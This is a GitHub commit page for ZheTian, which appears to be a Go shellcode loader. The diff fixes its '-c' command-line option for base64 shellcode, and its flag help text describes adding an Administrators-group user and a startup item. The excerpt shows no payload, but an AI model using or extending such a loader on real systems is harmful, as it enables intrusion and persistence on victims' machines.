Skip to content

Commit

Permalink
[*]1.0.35修复-c命令逻辑错误
Browse files Browse the repository at this point in the history
  • Loading branch information
yqcs committed Aug 30, 2021
1 parent 1468934 commit 9e95e74
Show file tree
Hide file tree
Showing 4 changed files with 14 additions and 12 deletions.
16 changes: 10 additions & 6 deletions .idea/workspace.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 0 additions & 1 deletion go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@ module ZheTian
go 1.16

require (
github.com/akavel/rsrc v0.10.2 // indirect
github.com/ser163/WordBot v0.0.0-20210220084722-ce4b280ccfd3
github.com/shopspring/decimal v1.2.0 // indirect
github.com/spf13/cobra v1.2.1
Expand Down
6 changes: 3 additions & 3 deletions server/cmd.go
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ var (
UserName string //用户名
PassWD string //密码
StartMenu bool //是否添加启动项
CommLine string //直接在命令行输入shellcode
CommLineCode string //直接在命令行输入shellcode
rootCmd = &cobra.Command{
Use: "ZheTian",
Short: "http://github.com/yqcs/ZheTian",
Expand All @@ -40,7 +40,7 @@ func init() {
rootCmd.PersistentFlags().StringVarP(&UserName, "UserName", "n", "", "Add user to Administrators group.The default password is ZheTian@123 (Execute with administrator permissions)")
rootCmd.PersistentFlags().StringVarP(&PassWD, "PassWD", "p", "", "User Password. Must use -n param")
rootCmd.PersistentFlags().StringVarP(&Resource, "Payload Resource", "s", "", "Read payload source file,Supported lang:java、C、python、ruby、c#、perl、ruby...")
rootCmd.PersistentFlags().StringVarP(&CommLine, "Command line input ShellCode", "c", "", "Enter the base64 string into the command line")
rootCmd.PersistentFlags().StringVarP(&CommLineCode, "Command line input ShellCode", "c", "", "Enter the base64 string into the command line")

}

Expand Down Expand Up @@ -68,7 +68,7 @@ func startService() error {
ReadFileModel()
} else if Resource != "" {
ResourceModel()
} else if CommLine != "" {
} else if CommLineCode != "" {
CommLineModel()
}
if UserName != "" {
Expand Down
3 changes: 1 addition & 2 deletions server/loadFile.go
Original file line number Diff line number Diff line change
Expand Up @@ -80,6 +80,5 @@ func ResourceModel() {
}

func CommLineModel() {
str := base64.StdEncoding.EncodeToString([]byte(commLine))
ShellCodeByte = []byte(str)
ShellCodeByte = []byte(CommLineCode)
}

0 comments on commit 9e95e74

Please sign in to comment.